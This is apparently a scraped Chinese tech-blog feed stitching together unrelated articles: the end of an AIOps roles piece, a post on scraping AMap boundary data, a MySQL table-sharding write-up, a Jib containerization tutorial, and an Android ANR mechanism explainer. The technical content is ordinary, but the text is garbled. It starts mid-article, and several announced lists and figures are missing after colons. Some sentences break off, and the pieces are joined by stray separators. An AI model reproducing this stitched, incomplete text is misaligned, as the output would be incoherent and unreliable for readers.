在完成问题域的定义后,运维工程师需要跟踪整个单机房故障自愈解决方案的 落地,包括在策略设计前期提供数据标注支持,在中期进行效果的验收,在后期将单机房故障自愈方案实际部署运行到生产环境。

AIOps时代的职责和技能变化

运维工程师承担线上 服务质量的责任,是服务质量的关键保证。在工作过程中,会与研发、产品、运营等各类角色、不同团队进行深度的沟通和协作。

传统运维中,运维工程师的主要职责分为三个方面: 质量、成本、效率

主要包含如下工作内容:

在AIOps落地实施中,运维工程师是处于中心的角色,也赋予了新的职责,他们是AIOps具体实施的 需求提出者成果验收者。具体职责包括:

在AIOps时代,运维工程师一方面需要熟悉运维领域的知识,了解运维的难题和解决思路;另一方面需要了解人工智能和机器学习的思路,能够理解哪些场景问题适合用机器学习方法解决,需要提供怎样的样本和数据,即成为 AI在运维领域落地实施的解决方案专家

运维AI工程师

在单机房故障自愈场景中,运维AI工程师将 机器学习的算法与实际的故障处理业务场景相结合,针对单机房故障场景的风险点,进行策略研发与实验工作。如下图所示:

运维AI工程师分别设计了如下算法策略来满足整个复杂故障场景的自动决策:

  • 异常检测算法:解决故障发现时指标异常判断问题,基于AI方法实现较高的准确率和召回率,作为整个故障自愈的 数据基础

  • 策略编排算法:基于当前线上的实际流量和服务状态,设计 损益计算模型,判断基于何种方式的操作组合或步骤,能够使整个自动止损带来收益最大,风险最小。

  • 流量调度算法:基于线上服务容量与实时流量情况,进行 精确流量比例计算,防御容量不足或不准风险,并实现流量调度收益最大化。

在完成策略设计与研发后,需要根据历史数据进行Case回溯,并进行仿真Case模拟,来验证策略效果,并进行逐步迭代调优,以达到线上运行的准确率和召回率要求。

AIOps时代的职责和技能变化

运维AI工程师是将AI引入运维的 核心角色。他们针对运维数据、运维经验进行理解和梳理,使用机器学习的方法将海量运维数据进行汇总、归纳,使得数据中的价值显现出来。

运维AI工程师首先需要具备AI工程师的技能,需要对数学及机器学习方法有足够的掌握程度,并能应用实践。如下图所示AI工程师技能表:

如单机房故障自愈场景中的介绍,运维AI工程师需要具备机器学习知识并在运维领域落地的能力。运维AI工程师的职责如下:

平台研发工程师

在单机房故障自愈场景中,平台研发工程师需要关注三类平台的建设。如图所示:

  • 基础运维平台:提供单机房故障自愈场景中的 依赖平台,如:监控平台和流量调度平台。在日常运维中提供标准化运维数据获取和运维操作的基础,而在AIOps中,这部分接口需要能够同时支持人工和自动的数据获取和运维操作。

  • 智能运维平台:提供对AI能力的 支持,如:统一的数据服务(运维知识库)、运维开发框架,以及给AI策略实验和运行的运维策略框架等。

  • 故障自愈机器人:针对单个业务场景进行 平台化抽象,使之成为一个基础服务,基于AIOps平台研发和运行。

AIOps时代的职责和技能变化

平台研发工程师负责运维平台及基础组件的研发与建设。

在传统运维场景中,平台研发工程师负责平台、基础组件、类库和工具的研发工作。在针对运维的场景中,会覆盖运维相关的服务管理、监控、变更、流量调度等相关平台。

这部分平台是运维的基础,在AIOps时代仍然需要依赖于这些平台的建设。

同时在AIOps场景中, 数据成为了中心,运维各种状态信息转换为大数据,机器学习则作用在大数据上进行分析。在百度AIOps的实践中,运维开发框架、运维知识库、运维策略框架共同组成了完整的智能运维平台,三大平台的建设和实施离不开大数据、机器学习架构的引入。这就要求平台研发工程师具备大数据、机器学习平台架构师的 多重身份,具备流式计算、分布式存储、机器学习平台、算法策略平台等一系列大数据和机器学习平台架构能力。

运维研发工程师

基于多个业务线场景抽象出的单机房故障自愈解决方案,能够满足大部分场景需求,但并不意味着可以直接提供给各个业务线来使用。原因如下:

  • 策略和参数需要进行调整

流量调度、容灾策略等策略,针对不同的业务线,配置并不相同。例如某些业务对响应时间敏感,跨地域的调度会带来较大的延迟,影响用户体验,这时就需要根据业务情况配置机房之间的跨机房流量调度延迟系数,来实现流量优先调度到延迟系数最低的机房。

  • 通用框架无法满足所有需求

部分业务线需要对原有的策略进行部分重写才能够满足需求。例如,部分业务在流量调度时,需要联动服务降级来满足容量需求,这就需要额外增加服务降级联动的逻辑。

那么,就需要运维研发工程师出手来解决这个问题。根据 业务线的实际情况,对策略和参数进行配置和调优,对通用框架无法满足的需求,进行定制化研发,使得单机房故障自愈方案能够实际应用在不同业务线上。

AIOps时代的职责和技能变化

运维研发工程师负责基于业务线特征的运维研发工作,在传统运维中,是运维自动化的实施者,实现了针对业务场景的自动化运维实施落地。其职责如下:

在AIOps时代,运维研发工程师承担了AIOps智能化运维解决方案在业务线实施落地的职责。他们是AIOps场景的 实践者,将AIOps解决方案与业务架构特征相结合,实现AIOps在业务线的落地。

一方面,他们会与运维工程师紧密配合,对业务问题进行深度分析,理解业务的特点。另一方面,他们与平台研发工程师、AI工程师相配合,基于AIOps解决方案的策略和框架,进行定制化开发,使其适合自身业务线的特征。

总结

本文介绍了运维工程师、运维AI工程师、平台研发工程师、运维研发工程师四种角色在自动化运维时代和AIOps智能化运维时代,其职责和技能的拓展和变化。AIOps技术为运维技术的发展带来了更多的机遇,对于每个参与到AIOps实施的个人或团队也是如此。四种角色既有术业专攻,同时又紧密协作,共同将AI能力引入为运维赋能。那么,你的选择是什么呢?

↓↓↓ 点击"阅读原文" 【了解更多精彩内容】 


[程序员] 从高德采集最新的省市区三级坐标和行政区域边界 csv 格式

$
0
0

当然还是用 js 在浏览器中运行采集的啦,包含采集源码,可自行采集,采集请求数据部分仅需 2 分钟。

相关介绍: https://www.cnblogs.com/xiangyuecn/p/10714707.html

数据下载: https://github.com/xiangyuecn/AreaCity-JsSpider-StatsGov/releases

数据预览:


另 20 天前发了一个帖子 /t/548567对应的省市区镇数据采集。

另 117 天前发了一个帖子 /t/512328 咨询过城市变更我们数据库里面的老数据应对方案,虽然没什么好的结论,但还是可以参考参考。


为啥不用百度地图,其实最开始用的百度的,采集完才发现百度地图的数据有严重问题,然后才选择的高德。

嘲讽一下百度地图:

大量的这种垃圾数据,这么一看 高德简直完美无比。

一次分表踩坑实践的探讨

$
0
0

前言

之前不少人问我“能否分享一些分库分表相关的实践”,其实不是我不分享,而是真的经验不多;和大部分人一样都是停留在理论阶段。

不过这次多少有些可以说道了。

先谈谈背景,我们生产数据库随着业务发展量也逐渐起来;好几张单表已经突破 亿级数据,并且保持每天 200+W 的数据量增加。

而我们有些业务需要进行关联查询、或者是报表统计;在这样的背景下大表的问题更加突出(比如一个查询功能需要跑好几分钟)。

可能很多人会说:为啥单表都过亿了才想方案解决?其实不是不想,而是由于历史原因加上错误预估了数据增长才导致这个局面。总之原因比较复杂,也不是本次讨论的重点。

临时方案

由于需求紧、人手缺的情况下,整个处理的过程分为几个阶段。

第一阶段应该是去年底,当时运维反应 MySQL所在的主机内存占用很高,整体负载也居高不下,导致整个 MySQL 的吞吐量明显降低(写入、查询数据都明显减慢)。

为此我们找出了数据量最大的几张表,发现大部分数据量在7/8000W 左右,少数的已经突破一亿。

通过业务层面进行分析发现,这些数据多数都是用户产生的一些 日志型数据,而且这些数据在业务上并不是强相关的,甚至两三个月前的数据其实已经不需要实时查询了。

因为接近年底,尽可能的不想去动应用,考虑是否可以在运维层面缓解压力;主要的目的就是把单表的数据量降低。

原本是想把两个月之前的数据直接迁移出来放到备份表中,但在准备实施的过程中发现一个大坑。

表中没有一个可以排序的索引,导致我们无法快速的筛选出一部分数据!这真是一个深坑,为后面的一些优化埋了个地雷;即便是加索引也需要花几个小时(具体多久没敢在生产测试)。

如果我们强行按照时间进行筛选,可能查询出 4000W 的数据就得花上好几个小时;这显然是行不通的。

于是我们便想到了一个大胆的想法:这部分数据是否可以直接不要了?

这可能是最有效及最快的方式了,和产品沟通后得知这部分数据真的只是日志型的数据,即便是报表出不来今后补上也是可以的。

于是我们就简单粗暴的做了以下事情:

  • 修改原有表的表名,比如加上( _190416bak)。
  • 再新建一张和原有表名称相同的表。

这样新的数据就写到了新表,同时业务上也是使用的这个数据量较小的新表。

虽说过程不太优雅,但至少是解决了问题同时也给我们做技术改造预留了时间。

分表方案

之前的方案虽说可以缓解压力,但不能根本解决问题。

有些业务必须得查询之前的数据,导致之前那招行不通了,所以正好我们就借助这个机会把表分了。

我相信大部分人虽说没有做过实际做过分表,但也见过猪跑;网上一搜各种方案层出不穷。

我认为最重要的一点是要结合实际业务找出需要 sharding 的字段,同时还有上线阶段的数据迁移也非常重要。

时间

可能大家都会说用 hash 的方式分配得最均匀,但我认为这还是需要使用历史数据的场景才用哈希分表。

而对于不需要历史数据的场景,比如业务上只查询近三个月的数据。

这类需求完成可以采取时间分表,按照月份进行划分,这样改动简单,同时对历史数据也比较好迁移。

于是我们首先将这类需求的表筛选出来,按照月份进行拆分,只是在查询的时候拼接好表名即可;也比较好理解。

哈希

刚才也提到了:需要根据业务需求进行分表策略。

而一旦所有的数据都有可能查询时,按照时间分表也就行不通了。(也能做,只是如果不是按照时间进行查询时需要遍历所有的表)

因此我们计划采用 hash的方式分表,这算是业界比较主流的方式就不再赘述。

采用哈希时需要将 sharding字段选好,由于我们的业务比较单纯;是一个物联网应用,所有的数据都包含有物联网设备的唯一标识(IMEI),并且这个字段天然的就保持了唯一性;大多数的业务也都是根据这个字段来的,所以它非常适合来做这个 sharding字段。

在做分表之前也调研过 MyCATsharding-jdbc(现已升级为 shardingsphere),最终考虑到对开发的友好性及不增加运维复杂度还是决定在 jdbc 层 sharding 的方式。

但由于历史原因我们并不太好集成 sharding-jdbc,但基于 sharding的特点自己实现了一个分表策略。

这个简单也好理解:

1
2
3
int index = hash(sharding字段) % 分表数量 ;
select xx from 'busy_'+index where sharding字段 = xxx;

其实就是算出了表名,然后路由过去查询即可。

只是我们实现的非常简单:修改了所有的底层查询方法,每个方法都里都做了这样的一个判断。

并没有像 sharding-jdbc一样,代理了数据库的查询方法;其中还要做 SQL解析-->SQL路由-->执行SQL-->合并结果这一系列的流程。

如果自己再做一遍无异于重新造了一个轮子,并且并不专业,只是在现有的技术条件下选择了一个快速实现达成效果的方法。

不过这个过程中我们节省了将 sharding 字段哈希的过程,因为每一个 IMEI 号其实都是一个唯一的整型,直接用它做 mod 运算即可。

还有一个是需要一个统一的组件生成规则,分表后不能再依赖于单表的字段自增了;方法还是挺多的:

  • 比如时间戳+随机数可满足大部分业务。
  • UUID,生成简单,但没法做排序。
  • 雪花算法统一生成主键ID。

大家可以根据自己的实际情况做选择。

业务调整

因为我们并没有使用第三方的 sharding-jdbc 组件,所有没有办法做到对代码的低侵入性;每个涉及到分表的业务代码都需要做底层方法的改造(也就是路由到正确的表)。

考虑到后续业务的发展,我们决定将拆分的表分为 64 张;加上后续引入大数据平台足以应对几年的数据增长。

这里还有个小细节需要注意:分表的数量需要为 2∧N 次方,因为在取模的这种分表方式下,即便是今后再需要分表影响的数据也会尽量的小。

再修改时只能将表名称进行全局搜索,然后加以修改,同时根据修改的方法倒推到表现的业务并记录下来,方便后续回归测试。


当然无法避免查询时利用非 sharding 字段导致的全表扫描,这是所有分片后都会遇到的问题。

因此我们在修改分表方法的底层查询时同时也会查看是否有走分片字段,如果不是,那是否可以调整业务。

比如对于一个上亿的数据是否还有必要存在按照分页查询、日期查询?这样的业务是否真的具有意义?

我们尽可能的引导产品按照这样的方式来设计产品或者做出调整。

但对于报表这类的需求确实也没办法,比如统计表中某种类型的数据;这种我们也可以利用多线程的方式去并行查询然后汇总统计来提高查询效率。

有时也有一些另类场景:

比如一个千万表中有某一特殊类型的数据只占了很小一部分,比如说几千上万条。

这时页面上需要对它进行分页查询是比较正常的(比如某种投诉消息,客户需要一条一条的单独处理),但如果我们按照 IMEI 号或者是主键进行分片后再分页查询那就比较蛋疼了。

所以这类型的数据建议单独新建一张表来维护,不要和其他数据混合在一起,这样不管是做分页还是 like 都比较简单和独立。

验证

代码改完,开发也单测完成后怎么来验证分表的业务是否正常也比较麻烦。

一个是测试麻烦,再一个是万一哪里改漏了还是查询的原表,但这样在测试环境并不会有异常,一旦上线产生了生产数据到新的 64 张表后想要再修复就比较麻烦了。

所以我们取了个巧,直接将原表的表名修改,比如加一个后缀;这样在测试过程中观察前后台有无报错就比较容易提前发现这个问题。

上线流程

测试验收通过后只是分表这个需求的80%,剩下如何上线也是比较头疼。

一旦应用上线后所有的查询、写入、删除都会先走路由然后到达新表;而老数据在原表里是不会发生改变的。

数据迁移

所以我们上线前的第一步自然是需要将原有的数据进行迁移,迁移的目的是要分片到新的 64 张表中,这样才会对原有的业务无影响。

因此我们需要额外准备一个程序,它需要将老表里的数据按照分片规则复制到新表中;

在我们这个场景下,生产数据有些已经上亿了,这个迁移过程我们在测试环境模拟发现耗时是非常久的。而且我们老表中对于 create_time这样用于筛选数据的字段没有索引(以前的技术债),所以查询起来就更加慢了。

最后没办法,我们只能和产品协商告知用户对于之前产生的数据短期可能会查询不到,这个时间最坏可能会持续几天(我们只能在凌晨迁移,白天会影响到数据库负载)。

总结

这便是我们这次的分表实践,虽说不少过程都不优雅,但受限于条件也只能折中处理。

但我们后续的计划是,修改我们底层的数据连接(目前是自己封装的一个 jar 包,导致集成 sharding-jdbc 比较麻烦)最终逐渐迁移到 sharding-jdbc .

最后得出了几个结论:

  • 一个好的产品规划非常有必要,可以在合理的时间对数据处理(不管是分表还是切入归档)。
  • 每张表都需要一个可以用于排序查询的字段(自增ID、创建时间),整个过程由于没有这个字段导致耽搁了很长时间。
  • 分表字段需要谨慎,要全盘的考虑业务情况,尽量避免出现查询扫表的情况。

最后欢迎留言讨论。

你的点赞与分享是对我最大的支持

谷歌助力,快速实现 Java 应用容器化

$
0
0

Google 在 2018 年下旬开源了一款新的 Java 工具 Jib,可以轻松地将 Java 应用程序容器化。通过 Jib,我们不需要编写 Dockerfile 或安装 Docker,通过集成到 Maven 或 Gradle 插件,就可以立即将 Java 应用程序容器化。

开源地址: https://github.com/GoogleContainerTools/jib

一、什么是 Jib

Jib 是一个快速而简单的容器镜像构建工具,它作为 Maven 或 Gradle 的一部分运行,不需要编写 Dockerfile 或运行 Docker 守护进程。它从 Maven 或 Gradle 中构建我们的 Docker 镜像, 并只将发生变更的层(而不是整个应用程序)推送到注册表来节省宝贵的构建时间。现在,我们对 Docker 构建流程和 Jib 构建流程进行对比。Docker 构建流程,如下所示。

Jib 构建流程,则是这样的。

二、实战出真知

1. 构建一个简单的 Java 工程

我们编写一个简单的 Java 类。

public class HelloWorld {
    public static void main(String[] args) {
        System.out.println("Hello World!");
        System.out.println("http://blog.720ui.com");
    }
}

紧接着,我们再创建一个 pom.xml 文件。

<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
    xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd"><modelVersion>4.0.0</modelVersion><groupId>com.lianggzone.sample.lib</groupId><artifactId>helloworld-samples</artifactId><version>0.1</version><packaging>jar</packaging><name>helloworld-samples</name><properties><project.build.sourceEncoding>UTF-8</project.build.sourceEncoding><jib-maven-plugin.version>1.0.2</jib-maven-plugin.version><maven-compiler-plugin.version>3.8.0</maven-compiler-plugin.version></properties><dependencies></dependencies><build><plugins><plugin><groupId>org.apache.maven.plugins</groupId><artifactId>maven-compiler-plugin</artifactId><version>${maven-compiler-plugin.version}</version><configuration><source>1.8</source><target>1.8</target></configuration></plugin><!-- Jib --><plugin><groupId>com.google.cloud.tools</groupId><artifactId>jib-maven-plugin</artifactId><version>${jib-maven-plugin.version}</version><configuration><from><image>registry.cn-hangzhou.aliyuncs.com/lianggzone/oracle_java8</image></from><to><image>registry.cn-hangzhou.aliyuncs.com/lianggzone/jib-helloworld:v1</image></to><container><jvmFlags><jvmFlag>-Xms512m</jvmFlag><jvmFlag>-Xdebug</jvmFlag></jvmFlags><mainClass>com.lianggzone.HelloWorld</mainClass></container></configuration><executions><execution><phase>package</phase><goals><goal>build</goal></goals></execution></executions></plugin></plugins></build></project>

由于默认访问谷歌的 gcr.io 仓库,而国内访问 gcr.io 不稳定会经常导致网络超时,所以笔者使用了国内的阿里云镜像服务,那么就不需要访问谷歌的仓库了。现在,我们执行 mvn compile jib:build命令进行自动化构建,它会从 <from>拉取镜像,并把生成的镜像上传到 <to>设置的地址。这里,笔者还通过` 设置了一些 JVM 参数。

mvn compile jib:build

此外,如果”登录失败,未授权”,需要通过 docker login登录鉴权一下。此外,更好的做法是,你可以考虑在Maven 中放置凭据。

<settings>
  ...<servers>
    ...<server><id>registry.cn-hangzhou.aliyuncs.com</id><username>你的阿里云账号</username><password>你的阿里云密码</password></server></servers></settings>

最后,执行完成后,我们可以在阿里云镜像仓库获取镜像。

大功告成,现在,我们来验证一把。我们通过 docker pull拉取镜像,并运行。

docker pull registry.cn-hangzhou.aliyuncs.com/lianggzone/jib-helloworld:v1
docker run --name jib-helloworld -it registry.cn-hangzhou.aliyuncs.com/lianggzone/jib-helloworld:v1 /bin/bash

执行结果,如下所示。

2. 构建一个 SpringBoot 的可运行 Jar

我们来一个复杂一些的项目,构建一个 SpringBoot 的项目。关于 SpringBoot 的使用,可以阅读笔者之前的文章: http://blog.720ui.com/columns/springboot_all/。现在,我们首先需要搭建一个工程,并创建一个启动类。

@SpringBootApplication
public class Application {
    public static void main(String[] args) {
        SpringApplication.run(Application.class, args);
    }
}

同时,需要一个 Web 的接口。

@RestController
public class WebController {
    @RequestMapping("/blog")
    public String index() {
        return "http://blog.720ui.com";
    }
}

紧接着,我们再创建一个 pom.xml 文件。

<?xml version="1.0" encoding="UTF-8"?><project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
    xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd"><modelVersion>4.0.0</modelVersion><parent><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-parent</artifactId><version>2.1.2.RELEASE</version></parent><groupId>com.lianggzone.sample.lib</groupId><artifactId>springboot-samples</artifactId><version>0.1</version><packaging>jar</packaging><name>springboot-samples</name><dependencies><dependency><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-web</artifactId></dependency></dependencies><properties><project.build.sourceEncoding>UTF-8</project.build.sourceEncoding><jib-maven-plugin.version>1.0.2</jib-maven-plugin.version><maven-compiler-plugin.version>3.8.0</maven-compiler-plugin.version></properties><build><plugins><plugin><groupId>org.apache.maven.plugins</groupId><artifactId>maven-compiler-plugin</artifactId><version>${maven-compiler-plugin.version}</version><configuration><source>1.8</source><target>1.8</target></configuration></plugin><!-- Jib --><plugin><groupId>com.google.cloud.tools</groupId><artifactId>jib-maven-plugin</artifactId><version>${jib-maven-plugin.version}</version><configuration><from><image>registry.cn-hangzhou.aliyuncs.com/lianggzone/oracle_java8</image></from><to><image>registry.cn-hangzhou.aliyuncs.com/lianggzone/jib-springboot:v1</image></to><container><jvmFlags><jvmFlag>-Xms512m</jvmFlag><jvmFlag>-Xdebug</jvmFlag></jvmFlags></container></configuration><executions><execution><phase>package</phase><goals><goal>build</goal></goals></execution></executions></plugin></plugins></build></project>

现在,我们执行 mvn compile jib:build命令进行自动化构建。执行完成后,我们可以在阿里云镜像仓库获取镜像。

现在,我们再来验证一把。我们通过 docker pull拉取镜像,并运行。

docker pull registry.cn-hangzhou.aliyuncs.com/lianggzone/jib-springboot:v1
docker run -p 8080:8080 --name jib-springboot -it registry.cn-hangzhou.aliyuncs.com/lianggzone/jib-springboot:v1 /bin/bash

执行结果,如下所示。

现在,我们访问 http://localhost:8080/blog,我们可以正常调用 API 接口了。

3. 构建一个 WAR 工程

Jib 还支持 WAR 项目。如果 Maven 项目使用 war-packaging 类型,Jib 将默认使用 distroless Jetty作为基础镜像来部署项目。要使用不同的基础镜像,我们可以自定义 <container><appRoot><container> <entrypoint><container> <args>。以下是使用 Tomcat 镜像的案例。

<configuration><from><image>tomcat:8.5-jre8-alpine</image></from><container><appRoot>/usr/local/tomcat/webapps/ROOT</appRoot></container></configuration>

彻底理解 Android 应用无响应机制

$
0
0

引言

不论从事安卓应用开发,还是安卓系统研发,应该都遇到应用无响应(ANR,Application Not Responding)问题,当应用程序一段时间无法及时响应,则会弹出ANR对话框,让用户选择继续等待,还是强制关闭。

绝大多数人对ANR的了解仅停留在主线程耗时或CPU繁忙会导致ANR。面试过无数的候选人,几乎没有人能真正从系统级去梳理清晰ANR的来龙去脉,比如有哪些路径会引发ANR? 有没有可能主线程不耗时也出现ANR?如何更好的调试ANR?

如果没有深入研究过Android Framework的源代码,是难以形成对ANR有一个全面、正确的理解。研究系统源码以及工作实践后提炼而来,以图文并茂的方式跟大家讲解,相信定能帮忙大家加深对ANR的理解。

ANR触发机制

对于知识学习的过程,要知其然知其所以然,才能做到庖丁解牛般游刃有余。要深入理解ANR,就需要从根上去找寻答案,那就是ANR是如何触发的?

ANR是一套监控Android应用响应是否及时的机制,可以把发生ANR比作是引爆炸弹,那么整个流程包含三部分组成:

  1. 埋定时炸弹:中控系统(system_server进程)启动倒计时,在规定时间内如果目标(应用进程)没有干完所有的活,则中控系统会定向炸毁(杀进程)目标。
  2. 拆炸弹:在规定的时间内干完工地的所有活,并及时向中控系统报告完成,请求解除定时炸弹,则幸免于难。
  3. 引爆炸弹:中控系统立即封装现场,抓取快照,搜集目标执行慢的罪证(traces),便于后续的案件侦破(调试分析),最后是炸毁目标。

常见的ANR有service、broadcast、provider以及input,更多细节详见理解Android ANR的触发原理,http://gityuan.com/2016/07/02/android-anr,接下来本文以图文形式分别讲解。

service超时机制

下面来看看埋炸弹与拆炸弹在整个服务启动(startService)过程所处的环节。

service_anr

图解1:

  1. 客户端(App进程)向中控系统(system_server进程)发起启动服务的请求
  2. 中控系统派出一名空闲的通信员(binder_1线程)接收该请求,紧接着向组件管家(ActivityManager线程)发送消息,埋下定时炸弹
  3. 通讯员1号(binder_1)通知工地(service所在进程)的通信员准备开始干活
  4. 通讯员3号(binder_3)收到任务后转交给包工头(main主线程),加入包工头的任务队列(MessageQueue)
  5. 包工头经过一番努力干完活(完成service启动的生命周期),然后等待SharedPreferences(简称SP)的持久化;
  6. 包工头在SP执行完成后,立刻向中控系统汇报工作已完成
  7. 中控系统的通讯员2号(binder_2)收到包工头的完工汇报后,立刻拆除炸弹。如果在炸弹倒计时结束前拆除炸弹则相安无事,否则会引发爆炸(触发ANR)

更多细节详见startService启动过程分析,http://gityuan.com/2016/03/06/start-service

broadcast超时机制

broadcast跟service超时机制大抵相同,对于静态注册的广播在超时检测过程需要检测SP,如下图所示。

broadcast_anr

图解2:

  1. 客户端(App进程)向中控系统(system_server进程)发起发送广播的请求
  2. 中控系统派出一名空闲的通信员(binder_1)接收该请求转交给组件管家(ActivityManager线程)
  3. 组件管家执行任务(processNextBroadcast方法)的过程埋下定时炸弹
  4. 组件管家通知工地(receiver所在进程)的通信员准备开始干活
  5. 通讯员3号(binder_3)收到任务后转交给包工头(main主线程),加入包工头的任务队列(MessageQueue)
  6. 包工头经过一番努力干完活(完成receiver启动的生命周期),发现当前进程还有SP正在执行写入文件的操作,便将向中控系统汇报的任务交给SP工人(queued-work-looper线程)
  7. SP工人历经艰辛终于完成SP数据的持久化工作,便可以向中控系统汇报工作完成
  8. 中控系统的通讯员2号(binder_2)收到包工头的完工汇报后,立刻拆除炸弹。如果在倒计时结束前拆除炸弹则相安无事,否则会引发爆炸(触发ANR)

(说明:SP从8.0开始采用名叫“queued-work-looper”的handler线程,在老版本采用newSingleThreadExecutor创建的单线程的线程池)

如果是动态广播,或者静态广播没有正在执行持久化操作的SP任务,则不需要经过“queued-work-looper”线程中转,而是直接向中控系统汇报,流程更为简单,如下图所示:

broadcast_anr_2

可见,只有XML静态注册的广播超时检测过程会考虑是否有SP尚未完成,动态广播并不受其影响。SP的apply将修改的数据项更新到内存,然后再异步同步数据到磁盘文件,因此很多地方会推荐在主线程调用采用apply方式,避免阻塞主线程,但静态广播超时检测过程需要SP全部持久化到磁盘,如果过度使用apply会增大应用ANR的概率,更多细节详见http://gityuan.com/2017/06/18/SharedPreferences

Google这样设计的初衷是针对静态广播的场景下,保障进程被杀之前一定能完成SP的数据持久化。因为在向中控系统汇报广播接收者工作执行完成前,该进程的优先级为Foreground级别,高优先级下进程不但不会被杀,而且能分配到更多的CPU时间片,加速完成SP持久化。

更多细节详见Android Broadcast广播机制分析,http://gityuan.com/2016/06/04/broadcast-receiver

provider超时机制

provider的超时是在provider进程首次启动的时候才会检测,当provider进程已启动的场景,再次请求provider并不会触发provider超时。

provider_anr

图解3:

  1. 客户端(App进程)向中控系统(system_server进程)发起获取内容提供者的请求
  2. 中控系统派出一名空闲的通信员(binder_1)接收该请求,检测到内容提供者尚未启动,则先通过zygote孵化新进程
  3. 新孵化的provider进程向中控系统注册自己的存在
  4. 中控系统的通信员2号接收到该信息后,向组件管家(ActivityManager线程)发送消息,埋下炸弹
  5. 通信员2号通知工地(provider进程)的通信员准备开始干活
  6. 通讯员4号(binder_4)收到任务后转交给包工头(main主线程),加入包工头的任务队列(MessageQueue)
  7. 包工头经过一番努力干完活(完成provider的安装工作)后向中控系统汇报工作已完成
  8. 中控系统的通讯员3号(binder_3)收到包工头的完工汇报后,立刻拆除炸弹。如果在倒计时结束前拆除炸弹则相安无事,否则会引发爆炸(触发ANR)

更多细节详见理解ContentProvider原理,http://gityuan.com/2016/07/30/content-provider

inpu超时机制

input的超时检测机制跟service、broadcast、provider截然不同,为了更好的理解input过程先来介绍两个重要线程的相关工作:

  • InputReader线程负责通过EventHub(监听目录/dev/input)读取输入事件,一旦监听到输入事件则放入到InputDispatcher的mInBoundQueue队列,并通知其处理该事件;
  • InputDispatcher线程负责将接收到的输入事件分发给目标应用窗口,分发过程使用到3个事件队列:
    • mInBoundQueue用于记录InputReader发送过来的输入事件;
    • outBoundQueue用于记录即将分发给目标应用窗口的输入事件;
    • waitQueue用于记录已分发给目标应用,且应用尚未处理完成的输入事件;

input的超时机制并非时间到了一定就会爆炸,而是处理后续上报事件的过程才会去检测是否该爆炸,所以更相信是扫雷的过程,具体如下图所示。

input_anr

图解4:

  1. InputReader线程通过EventHub监听底层上报的输入事件,一旦收到输入事件则将其放至mInBoundQueue队列,并唤醒InputDispatcher线程
  2. InputDispatcher开始分发输入事件,设置埋雷的起点时间。先检测是否有正在处理的事件(mPendingEvent),如果没有则取出mInBoundQueue队头的事件,并将其赋值给mPendingEvent,且重置ANR的timeout;否则不会从mInBoundQueue中取出事件,也不会重置timeout。然后检查窗口是否就绪(checkWindowReadyForMoreInputLocked),满足以下任一情况,则会进入扫雷状态(检测前一个正在处理的事件是否超时),终止本轮事件分发,否则继续执行步骤3。
    • 对于按键类型的输入事件,则outboundQueue或者waitQueue不为空,
    • 对于非按键的输入事件,则waitQueue不为空,且等待队头时间超时500ms
  3. 当应用窗口准备就绪,则将mPendingEvent转移到outBoundQueue队列
  4. 当outBoundQueue不为空,且应用管道对端连接状态正常,则将数据从outboundQueue中取出事件,放入waitQueue队列
  5. InputDispatcher通过socket告知目标应用所在进程可以准备开始干活
  6. App在初始化时默认已创建跟中控系统双向通信的socketpair,此时App的包工头(main线程)收到输入事件后,会层层转发到目标窗口来处理
  7. 包工头完成工作后,会通过socket向中控系统汇报工作完成,则中控系统会将该事件从waitQueue队列中移除。

input超时机制为什么是扫雷,而非定时爆炸呢?是由于对于input来说即便某次事件执行时间超过timeout时长,只要用户后续在没有再生成输入事件,则不会触发ANR。 这里的扫雷是指当前输入系统中正在处理着某个耗时事件的前提下,后续的每一次input事件都会检测前一个正在处理的事件是否超时(进入扫雷状态),检测当前的时间距离上次输入事件分发时间点是否超过timeout时长。如果前一个输入事件,则会重置ANR的timeout,从而不会爆炸。

更多细节详见Input系统-ANR原理分析,http://gityuan.com/2017/01/01/input-anr

ANR超时阈值

不同组件的超时阈值各有不同,关于service、broadcast、contentprovider以及input的超时阈值如下表:

anr_timeout

前台与后台服务的区别

系统对前台服务启动的超时为20s,而后台服务超时为200s,那么系统是如何区别前台还是后台服务呢?来看看ActiveServices的核心逻辑:

ComponentName startServiceLocked(...) {
    final boolean callerFg;
    if (caller != null) {
        final ProcessRecord callerApp = mAm.getRecordForAppLocked(caller);
        callerFg = callerApp.setSchedGroup != ProcessList.SCHED_GROUP_BACKGROUND;
    } else {
        callerFg = true;
    }
    ...
    ComponentName cmp = startServiceInnerLocked(smap, service, r, callerFg, addToStarting);
    return cmp;
}

在startService过程根据发起方进程callerApp所属的进程调度组来决定被启动的服务是属于前台还是后台。当发起方进程不等于ProcessList.SCHED_GROUP_BACKGROUND(后台进程组)则认为是前台服务,否则为后台服务,并标记在ServiceRecord的成员变量createdFromFg。

什么进程属于SCHED_GROUP_BACKGROUND调度组呢?进程调度组大体可分为TOP、前台、后台,进程优先级(Adj)和进程调度组(SCHED_GROUP)算法较为复杂,其对应关系可粗略理解为Adj等于0的进程属于Top进程组,Adj等于100或者200的进程属于前台进程组,Adj大于200的进程属于后台进程组。关于Adj的含义见下表,简单来说就是Adj>200的进程对用户来说基本是无感知,主要是做一些后台工作,故后台服务拥有更长的超时阈值,同时后台服务属于后台进程调度组,相比前台服务属于前台进程调度组,分配更少的CPU时间片。

adj

关于细节详见解读Android进程优先级ADJ算法,http://gityuan.com/2018/05/19/android-process-adj

前台服务准确来说,是指由处于前台进程调度组的进程发起的服务。这跟常说的fg-service服务有所不同,fg-service是指挂有前台通知的服务。

前台与后台广播超时

前台广播超时为10s,后台广播超时为60s,那么如何区分前台和后台广播呢?来看看AMS的核心逻辑:

BroadcastQueue broadcastQueueForIntent(Intent intent) {
    final boolean isFg = (intent.getFlags() & Intent.FLAG_RECEIVER_FOREGROUND) != 0;
    return (isFg) ? mFgBroadcastQueue : mBgBroadcastQueue;
}

mFgBroadcastQueue = new BroadcastQueue(this, mHandler,
        "foreground", BROADCAST_FG_TIMEOUT, false);
